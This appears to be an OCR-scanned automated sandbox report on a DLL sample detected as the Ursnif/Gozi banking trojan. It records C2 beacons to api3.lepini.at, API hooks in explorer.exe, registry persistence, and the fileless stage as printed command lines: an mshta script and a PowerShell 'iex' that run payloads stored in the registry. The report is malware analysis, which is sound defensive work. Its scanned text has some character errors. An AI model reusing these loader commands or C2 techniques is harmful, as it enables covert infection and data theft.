8b dd 8f 43 eb 11 23 73 1b 1b c1 99 89 21 94 4c a5 84 c3 13 96 ad 5d 82 20 a4 a4 3b dd 1le 43 74 c6 42 11 7a 8a f2 93 8b
7e 247317 d9 c7 eb 47 18 47 41 4f a2 f1 bc 52 cc 35 f2 ¢2 73 3e €5 32 8a b5 ¢7 7c 3b d4 88 bd aa 47 48 66 2e 00 bd 3f
fc 08 b4 49 98 €3 36 db f0 33 4c 40 2b cc 59 2a b5 ba 73 58 27 de a0 31 Oe 6d 63 70 19 7b 5f 67 00 54 79 89 7f 42 21 df
6e 23 el 54 43 4a 09 00 77 ac fb e4 2e a8 6d 07 21 b3 a0 98 ad 40 d2 34 64 c9 c2 62 14 7c 45 eb a0 65 98 c1 18 al 6a af
69 0a a2 bb 50 42 96 c1 d7 02 58 6d f4 b1 15 90 f6 50 9c 6a fd d4 2e 5e a7 4a cb 67 59 63 74 77 99 de €0 c0 d5 5¢ 9d a7
89 1b 90 39 29 23 21 3b c4 35 f1 49 9e 67 f3 ce fe 1d 0a 67 69 06 13 13 30 ab €6 c6 f4 c9 7e 94 48 5b al {7 5f 27 1f 03 ac
85 el Oe bl bf 6e el 1c 5a 24 cc b2 53 fd 61 58 €3 87 Ob 85 9e 03 94 6 2a bd 92 53 09 77 f8 5e d3 c9 b7 19 42 4e e6 2a
67 af 27 4e 01 de 6a fc 1e 82 Oc 7e 45 7b e8 1d 97 82 9b 5¢ 14 96 d2 82 dd 53 15 1e 84 41 01 4f Of 32 ac ee b7 85 96 4c
€9 dc b0 42 3c 93 a6 Ob a3 79 cb 7b 2c d1 21 6f c1 6a 38 48 d7 37 8f 35 b8 1d 7a e7 eb 63 bc 4e 6b b6 23 aa 9c fd 32 03
46 e2 37 47 49 c2 35 al 48 7e 98 49 6a b4 98 e7 cb 33 dd 1a be 5a c8 ea a7 44 33 9b e3 a6 84 da 68 ec bf 93 03 88 f9 6e
02 17 a6 96 46 ad ae 25 c2 bb 97 7a 57 35 aa 0a 42 b5 ¢3 8a 35 af 20 1b 1a b9 c¢6 99 99 8a b2 b6 46 1c 70 a0 53 c2 €9
a2 e6 ad a4 8f d5 11 da 74 60 13 7c 55 4d 42 1c c6 a4 47 a8 4e 27 67 a4 37 b3 Oe ca f5 b1 9a a5 de e3 07 25 55 07 ff 18
b3 17 44 8b a0 af e3 f5 ff 75 b8 f2 2b 4d 9e 9 ad 07 c0 5e d7 1b ab 81 e4 99 93 ac a9 63 2f 4e 27 18 dO dd 29 f7 28 98 b1
c3 5e 52 9e d4 01 1b 9f ba 6d 7d 24 b8 cc 84 Oe 03 07 2e 3a ba b5 ad 8b ae 57 ce 78 7b aa 0f 07 5f ee 2a 4a 6b 0d f8 40
bb 79 91 71 5d ae 1b 1d 3c bf b9 e2 9b d4 4c 6¢ 52 55 e3 59 22 40 9a 6f cc 9a 14 bb 63 ad 00 8f bf cd 7b ca 18 ce c6 df
2108 86 ed 93 17 79 b7 6d 89 Oc ba 64 8a 93 dd fa 1b 07 69 84 31 87 f9 ae 59 a4 f8 ed 03 62 6f 2a fa 54 99 38 81 d4 e3
dc e839d4 b06281c249al

Data Ascii: E~r[f1pwC|o5XSev5}Dc’h=:UL>4HG{STUO0QsI=HR)3uHXIX6[VrSh3>0K\@'E*_V[R{MMpq9.8G"\<*A_n.$
JCUulWs<!+Q6U(VQ6DI$(LIRIM(<?_Sd]|(qZ {[{b/;"=,v{jGbd] T&;RWIhXR"6A]:+Z@ HJeSNC#slL] ;CtBz~$sGGAOR5s>2
|;GHf.2163L@+Y*sX'1Imcp{_gTyB!n#TCJIw.m!@4db|EejiPBXmPj.~JgYctw\9)#!;5Iggi0~H[_'nZ$SaX*Sw BN*g'Nj~E{\S
AO2LB<y{,'0j8H75zcNk#2F7GI5H~1j3ZD3hnF%zW5B5 FpSt [UMBGN'g7%UDu+MAc/N')(*Rm}$.:Wx{_*Ik@ydq]
<LIRUY"@oc{'lymdi1Ybo*T89bl

Destination IP Destination Port Process

45.138.24.6 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/gid4UkFjrmJwDqv1luGoy3/_2BUJEVRCzS4dgw_/2BQScQk8a3HbiWi/d_2FOUrdxgv_2FzWHk/ApfOFw
JNI/XCjSe3QcK9Ig8PEDHYq_/2BEZPUJgDgIWZMm5T6e/5VAYVXDHpTHY9yI17VkiV8/_2BPKcMGMz7Ef/Vg51_2Bu
/jg1FINR1bMph_2B7mMw8J7/1wxMorc_2F/N6CisPjn0allvUWNg/gjvzUpOhQ3cR/g18ZLbBazZpr/Hglkmdt9eullN1/4tABZg
hNsoNFyNad4ZIYW/GQkzBA4t48KvSwznE/J6INVAHQJIAsplh2/rVWvzj4OOGDDMz5k/E HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Host: api3.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 22 Jan 2021 09:25:08 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close

Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

45.138.24.6 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data
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kBytes

Timestamp transferred Direction
Jan 22, 2021 9239 ouT
10:25:09.103694916 CET
Jan 22, 2021 9240 IN
10:25:09.816137075 CET
Session ID Source IP Source Port
8 192.168.2.4 49803
kBytes

Timestamp transferred Direction
Jan 22, 2021 9241 ouT
10:25:20.316462040 CET
Jan 22, 2021 9242 IN
10:25:20.729298115 CET
HTTPS Packets

Source Dest
Timestamp Source IP Port Dest IP Port
Jan 22, 2021 151.101.1.44 443 192.168.2.4 49763
10:22:30.214939117
CET

Copyright null 2021

Data

POST /apil/CtOR_2Fx9NzTLjO/AAVczaEeXM_2F0PHvI/q2A7GpbWg/QRKIGIX7IHetgaCvuTxL/ZcPM1sCMitgD7
TpJ4IL/YaaCrfmGr7HSAfEDFBfZy_/2F6yiEd5nRfk_/2FyBLOQIi/YVC2A5PzIXWwGDWFfurX0IH/Pl4gbL8NNR/pL
5PpYu5LBwA4qrHSp/5GLoVTYgQHXi/IMSRYGiVP_2/BVFS_2BKJaP3UA/ShYtgHcZ3ceFWWHUPV6JY/AjkOe7pkq3uV
IpG4/TAfeBct56eabx37/kmIm570um_2FZFTOYP/K3KMyMRIN/6VsuEdtgXSIPx_2FOzhO/Wfirg HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Content-Length: 2

Host: api3.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 22 Jan 2021 09:25:09 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Data Raw: 37 63 0d 0a 90 77 a9 68 21 f0 f4 Of 9e 3b 17 d2 Oc a4 65 2b 69 04 el b2 c6 7c 80 fe b8 7a f5 35 19 81 Ob 6e ce
8e €6 72 37 f5 5d 03 a8 3f 76 b2 f6 eb 27 70 cb ae 35 10 2f ¢2 39 44 d3 16 7d b8 17 7e fc 95 cf 40 0d 7e 88 69 f0 f4 40 b0
c0 2a 3f 97 28 b6 bd 0f 45 41 ed c4 f3 f3 9c f9 b5 4c 3f c8 d7 23 ee 16 62 43 d4 5f 0a €9 a4 07 47 ff 47 4c a7 65 c7 a8 77
d9 17 cc bf 37 4e 90 3c 13 0d 0a 30 0d Oa 0d Oa

Data Ascii: 7cwh!;e+i|z5nr7]?v'p5/9D}~@~i@*?(EAL?#bC_GGLew7N<0

Destination IP Destination Port Process

45.138.24.6 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

POST /apil/Y901J6cExB9gSgb/oNO0xdo8DXz1Gn7txC/ImxUnG_2B/FZLeWtZNMEIpVIuMgsnD/ao9u_2BNz2Md9
owKglJ/zgApHMUbTazF8lkfM9kcPg/gmmDW9ik_2BeR/IwLTkS5a/9sA5dMbi2g7XVJIOYbdMFryz/Axg7R8Bya7/R_
2Bez5N_2BloAFwW1/nDHFDKFrL6UR/NHFAWY9xPPf/gYWUNVO_2Fet69/EzNj4y3hORXVaLIROU2rT/TIBBOIHfGESi
zZCW/UtFCHgfx4UGK4LP/RIc5xQGuUWKkcO34Nan/otFHVPC_2/FKpxZb_2FurG4qdoHPVM/kuGo4 HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: multipart/form-data; boundary=213777021142641037752157197084

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Content-Length: 675

Host: api3.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 22 Jan 2021 09:25:20 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Not Not JA3 SSL Client
Subject Issuer Before After Fingerprint JA3 SSL Client Digest
CN=*.taboola.com, CN=DigiCert TLS RSA  Wed Mon 771,49196-49195- 9e10692f1b7f78228b2d4e
O="Taboola, Inc", L=New  SHA256 2020 CA1, Nov 25 Dec 27 49200-49199- 424db3a98c
York, ST=New York, C=US O=DigiCert Inc, C=US 01:00:00 00:59:59 49188-49187-
CN=DigiCert TLS RSA CN=DigiCert Global Root CET CET 49192-49191-
SHA256 2020 CA1, CA, 2020 2021 49162-49161-
O=DigiCert Inc, C=US OU=www.digicert.com, Thu Sep Tue Sep 49172-49171-157-
O=DigiCert Inc, C=US 24 24 156-61-60-53-47-
02:00:00 01:59:59 10,0-10-11-13-35-
CEST CEST 16-23-24-
2020 2030 65281,29-23-24,0
CN=DigiCert TLS RSA CN=DigiCert Global Root Thu Sep Tue Sep
SHA256 2020 CA1, CA, 24 24
O=DigiCert Inc, C=US OU=www.digicert.com, 02:00:00 01:59:59
O=DigiCert Inc, C=US CEST CEST
2020 2030
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Source

Timestamp Source IP Port

Jan 22, 2021
10:22:30.218070030
CET

151.101.1.44 443

Jan 22, 2021
10:22:30.219417095
CET

151.101.1.44 443

Jan 22, 2021
10:22:30.219907999
CET

151.101.1.44 443

Jan 22, 2021
10:22:30.220422029
CET

151.101.1.44 443

Jan 22, 2021
10:22:30.227138996
CET

151.101.1.44 443

Code Manipulations

User Modules

Copyright null 2021

Dest

Dest IP Port

192.168.2.4 49762

192.168.2.4 49764

192.168.2.4 49760

192.168.2.4 49759

192.168.2.4 49761

Subject

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

Issuer

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global Root
CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

Not
Before

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Not
After

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

JA3 SSL Client Digest

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c
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Hook Summary

Function Name Hook Type Active in Processes
api-ms-win-core-processthreads-11-1-0.dll: CreateProcessW IAT explorer.exe
api-ms-win-core-registry-11-1-0.dll:RegGetValueW IAT explorer.exe
CreateProcessAsUserW EAT explorer.exe
CreateProcessAsUserW INLINE explorer.exe
CreateProcessW EAT explorer.exe
CreateProcessW INLINE explorer.exe
CreateProcessA EAT explorer.exe
CreateProcessA INLINE explorer.exe
Processes

Process: explorer.exe, Module: user32.dll

Function Name Hook Type New Data
api-ms-win-core-processthreads-11-1-0.dll: CreateProcessW IAT 7FFABB035200
api-ms-win-core-registry-11-1-0.dll:RegGetValueW IAT 4DAC590

Process: explorer.exe, Module: KERNEL32.DLL

Function Name Hook Type New Data
CreateProcessAsUserW EAT 7FFABB03521C
CreateProcessAsUserW INLINE OxFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessW EAT 7FFABB035200
CreateProcessW INLINE OxFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessA EAT 7FFABB03520E
CreateProcessA INLINE OxFF 0xF2 0x25 0x50 0x00 0x00

Process: explorer.exe, Module: WININET.dII

Function Name Hook Type New Data
api-ms-win-core-processthreads-11-1-0.dll: CreateProcessW IAT 7FFABB035200
api-ms-win-core-registry-11-1-0.dll:RegGetValueW IAT 4DAC590
Statistics

Behavior

@ loaddlI32.exe
® regsvr32.exe
@ cmd.exe

@ iexplore.exe
@ iexplore.exe
@ iexplore.exe
@ iexplore.exe
@ iexplore.exe
® mshta.exe

@ powershell.exe
@ conhost.exe
@ csc.exe

@ cvires.exe

@ csc.exe

@ cvires.exe

@ control.exe
@ rundll32.exe
@ explorer.exe
® cmd.exe

@ conhost.exe
® PING.EXE

@

System Behavior

Click to jump to process
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Analysis Process: loaddll32.exe PID: 6000 Parent PID: 5944

General

Start time: 10:22:19

Start date: 22/01/2021

Path: C:\Windows\System32\loaddlI32.exe
Wow64 process (32bit): true

Commandline: loaddlI32.exe 'C:\Users\user\Desktop\Securitelnfo.com.Generic.mg.81f401defa8faa2e.dll'
Imagebase: 0xa30000

File size: 120832 bytes

MDS5 hash: 2D39D4DFDE8F7151723794029AB8A034
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol

Analysis Process: regsvr32.exe PID: 2628 Parent PID: 6000

General

Start time: 10:22:20

Start date: 22/01/2021

Path: C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit): true

Commandline: regsvr32.exe /s C:\Users\user\Desktop\Securitelnfo.com.Generic.mg.81f401defa8faa2e.dll
Imagebase: 0x970000

File size: 20992 bytes

MDS5 hash: 426E7499F6A7346F0410DEAD0O805586B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.860537429.0000000005B828000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.860574233.0000000005B828000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.860667381.0000000005B28000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.860601592.0000000005B828000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.860502446.0000000005B828000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.860680858.0000000005B828000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000002.998924828.0000000005FA0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.876294685.00000000059AB000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.938337595.0000000003320000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.860649674.0000000005B828000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.860628580.0000000005B828000.00000004.00000040.sdmp, Author:
Joe Security

Reputation: high
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File Activities

File Path Offset Length Completion

Registry Activities

Key Value Created

Source
Count Address Symbol

Source
Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\App Client binary E4 0C 00 00 08 80 00 00 90 2D 52  success or wait 1 5FB456C RegSetValueExA
Datalow\Software\Microsoft\86EC23E5-2D5A-A875- 67 86 95 DC 15 E7 1A B1 5C D8 37
E71A-B15COBEE7550 AD A4 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
HKEY_CURRENT_USER\Software\App System binary AD 51 E0 28 B4 10 86 C1 A9 F4 C3  success or wait 1 5FADC66 RegSetValueExA
Datalow\Software\Microsoft\86EC23E5-2D5A-A875- 46 3E B1 7F 2E
E71A-B15COBEE7550
Analysis Process: cmd.exe PID: 4828 Parent PID: 6000
General
Start time: 10:22:20
Start date: 22/01/2021
Path: C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit): true
Commandline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Exploreniexplore.exe'
Imagebase: 0x11d0000
File size: 232960 bytes
MD5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high

File Activities

File Path Access Attributes Options Completion

Source
Count Address Symbol

Analysis Process: iexplore.exe PID: 4112 Parent PID: 4828

General

Start time: 10:22:20

Start date: 22/01/2021

Path: C:\Program Files\internet exploreniexplore.exe
Wow64 process (32bit): false

Commandline: C:\Program Files\Internet Exploreniexplore.exe
Imagebase: 0x7ff7b2780000

File size: 823560 bytes

MDS5 hash: 6465CB92B25A7BC1DF8E01DBAC5E7596
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities
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Source

File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
File Read
Source
File Path Offset Length Completion Count Address Symbol
\{B14213CC-5CDC-0BCC-EE75-506F02798413} 0 16 pending 1 198337F5D0C ReadFile
\{B14213CC-5CDC-0BCC-EE75-506F02798413} 0 12 success or wait 1 198337F5D0C ReadFile
Registry Activities
Source
Key Path Name Type Data Completion Count Address Symbol
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 6076 Parent PID: 4112
General
Start time: 10:22:21
Start date: 22/01/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

'‘C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:4112 CREDAT:17410
Iprefetch:2

0x1220000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 5620 Parent PID: 4112
General
Start time: 10:23:52
Start date: 22/01/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

'C:\Program Files (x86)\Internet Explore'\lEXPLORE.EXE' SCODEF:4112 CREDAT:82962
Iprefetch:2

0x1220000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
File Path Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 6156 Parent PID: 4112
General
Start time: 10:23:59
Start date: 22/01/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

'‘C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:4112 CREDAT:82970
Iprefetch:2

0x1220000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
File Path Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 4700 Parent PID: 4112
General
Start time: 10:24:06
Start date: 22/01/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Copyright null 2021

true

'C:\Program Files (x86)\Internet Explore'\lEXPLORE.EXE' SCODEF:4112 CREDAT:17432
Iprefetch:2

0x1220000
822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true
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Has administrator privileges:

Programmed in:

true

C, C++ or other language

Reputation: high
Analysis Process: mshta.exe PID: 5960 Parent PID: 3424
General
Start time: 10:24:15
Start date: 22/01/2021
Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>resizeTo(1,1);eval(new Act
iveXObject("WScript.Shell').regread('(HKCU\\Software\\AppDataLow\\Software\\Microsoft\86 E

C23E5-2D5A-A875-E71A-B15COBEE7550\\\Actidsrv'));if('window.flag)close()</script>"
0x7ff644740000

14848 bytes

197FC97C6A843BEBB445C1D9C58DCBDB

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 6988 Parent PID: 5960
General
Start time: 10:24:17
Start date: 22/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

false

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.En

coding]::ASCIIl.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-

2D5A-A875-E71A-B15COBEE7550').basebapi))
0x7ff7bedd0000

447488 bytes
95000560239032BC68B4C2FDFCDEF913
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
0000001A.00000003.945623628.000001E7C36E0000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: GoziRule, Description: Win32.Gozi, Source:
0000001A.00000003.945623628.000001E7C36E0000.00000004.00000001.sdmp,
Author: CCN-CERT

Reputation: high
Analysis Process: conhost.exe PID: 5112 Parent PID: 6988
General
Start time: 10:24:18
Start date: 22/01/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Copyright null 2021

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff724c50000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true
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Has administrator privileges:

Programmed in:

true

C, C++ or other language

Reputation: high
Analysis Process: csc.exe PID: 5336 Parent PID: 6988
General
Start time: 10:24:25
Start date: 22/01/2021
Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @
‘C:\Users\user\AppData\Local\Temp\fcanujkk\fcanujkk.cmdline'

0x7ff666a10000

2739304 bytes
B46100977911A0C9FB1C3E5F16A5017D
true

true

Net C# or VB.NET

Reputation: moderate
Analysis Process: cvtres.exe PID: 5304 Parent PID: 5336
General
Start time: 10:24:26
Start date: 22/01/2021
Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MA
CHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES352.tmp" ‘c:\Users\user\App
Data\Local\Temp\fcanujkk\CSC3173F20A33D44EE3A49D2AFD78COE6C5. TMP!

0x7ff62e800000

47280 bytes
33BBBBEOB4F547324D93D5D2725CAC3D
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: csc.exe PID: 5696 Parent PID: 6988
General
Start time: 10:24:31
Start date: 22/01/2021
Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Copyright null 2021

false

‘C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @
‘C:\Users\user\AppData\Local\Temp\m5xmn43s\m5xmn43s.cmdline’

0x7ff666a10000

2739304 bytes
B46100977911A0C9FB1C3E5F16A5017D
true

true

.Net C# or VB.NET

moderate
